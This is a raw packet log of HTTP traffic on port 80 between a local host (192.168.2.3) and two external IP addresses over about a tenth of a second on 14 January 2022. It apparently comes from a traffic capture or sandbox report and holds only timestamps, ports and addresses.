Jan 14, 2022 02:05:17.510729074 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510766983 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510783911 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510824919 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510860920 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510905981 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510915995 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510956049 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.511003017 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.511013031 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.511046886 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.511069059 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.511106968 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.511146069 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.511189938 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.511199951 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.512799978 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.514777899 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.514919996 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.514961958 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.514983892 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515000105 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515038967 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515077114 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515088081 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515124083 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515127897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515166998 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515204906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515214920 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515244007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515284061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515321970 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515331030 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515360117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515366077 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515399933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515438080 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515477896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515487909 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515516043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515521049 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515554905 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515594959 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515631914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515641928 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515671015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515675068 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515710115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515746117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515784979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515794992 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515822887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515827894 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515861034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515901089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515938997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515950918 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.515976906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.515988111 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516016960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516053915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516093016 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516104937 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516134024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516139030 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516174078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516213894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516249895 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516263962 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516289949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516290903 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516329050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516366005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516405106 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516417027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516443014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516453028 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516482115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516522884 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516560078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516571999 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516598940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516602993 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516637087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516674042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516712904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516722918 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516751051 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516756058 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516789913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516830921 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516866922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516886950 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516906023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.516918898 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.516944885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.517467022 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.528012037 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.528110981 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.528255939 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529055119 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529098034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529141903 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529160976 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529181004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529218912 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529258013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529268026 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529294968 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529299974 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529334068 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529373884 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529411077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529421091 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529449940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529454947 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529488087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529526949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529563904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529570103 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529603004 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529603004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529642105 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529681921 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529719114 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529725075 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529757977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529759884 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529797077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529834986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529889107 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529902935 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529944897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.529947996 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.529982090 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530021906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530061960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530065060 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530098915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530105114 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530139923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530179024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530215979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530225992 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530253887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530260086 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530292034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530330896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530369997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530375957 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530406952 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530411959 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530446053 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530484915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530522108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530531883 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530560970 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530565023 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530597925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530637980 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530678034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530688047 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530714989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530720949 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530754089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530793905 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530831099 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530842066 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530869961 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530883074 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.530909061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530947924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530988932 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.530997992 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531025887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531035900 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531064987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531105042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531136990 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531143904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531183004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531198978 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531223059 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531263113 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531302929 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531317949 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531339884 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531375885 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531378031 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531416893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531452894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531483889 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531492949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531502962 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531531096 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531572104 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531579018 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531626940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531670094 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531754017 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531795025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531835079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531874895 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531898975 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531913042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531932116 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.531953096 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531991005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.531996965 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.532027960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532067060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532105923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532110929 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.532145023 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.532145977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532186031 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532223940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532263041 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532267094 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.532301903 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532304049 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.532337904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.532792091 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.561646938 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.561985016 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562066078 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.562330008 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562375069 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562412977 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562431097 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.562473059 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562514067 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562553883 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562571049 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.562611103 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562648058 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562663078 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.562695026 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.562720060 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562758923 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562798023 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562814951 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.562855005 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562891006 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562906981 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.562946081 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.562983990 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563004017 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563082933 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563123941 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563142061 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563182116 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563220978 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563237906 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563277960 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563314915 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563332081 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563370943 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563410044 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563448906 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563466072 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563505888 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563550949 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563561916 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563596964 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563618898 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563658953 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563704014 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563714981 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563754082 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563791037 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563810110 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563848019 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563886881 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563925028 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.563941002 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.563980103 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564017057 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564032078 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.564063072 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.564089060 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564129114 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564167976 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564182997 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.564222097 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564259052 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564282894 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.564316988 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564354897 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564390898 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564408064 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.564454079 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564466000 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.564503908 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.564898014 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.588260889 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588319063 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588356972 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588396072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588402033 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.588434935 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588448048 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.588474989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588514090 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588552952 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588567019 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.588593006 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588596106 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.588633060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588670015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588709116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588718891 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.588747025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588754892 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.588785887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588824987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588862896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588872910 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.588901997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588917017 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.588943005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.588980913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589020014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589030027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589057922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589061975 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589096069 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589135885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589176893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589186907 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589215994 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589229107 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589256048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589293957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589333057 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589350939 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589371920 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589389086 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589409113 CET	80	49879	141.8.194.74	192.168.2.3
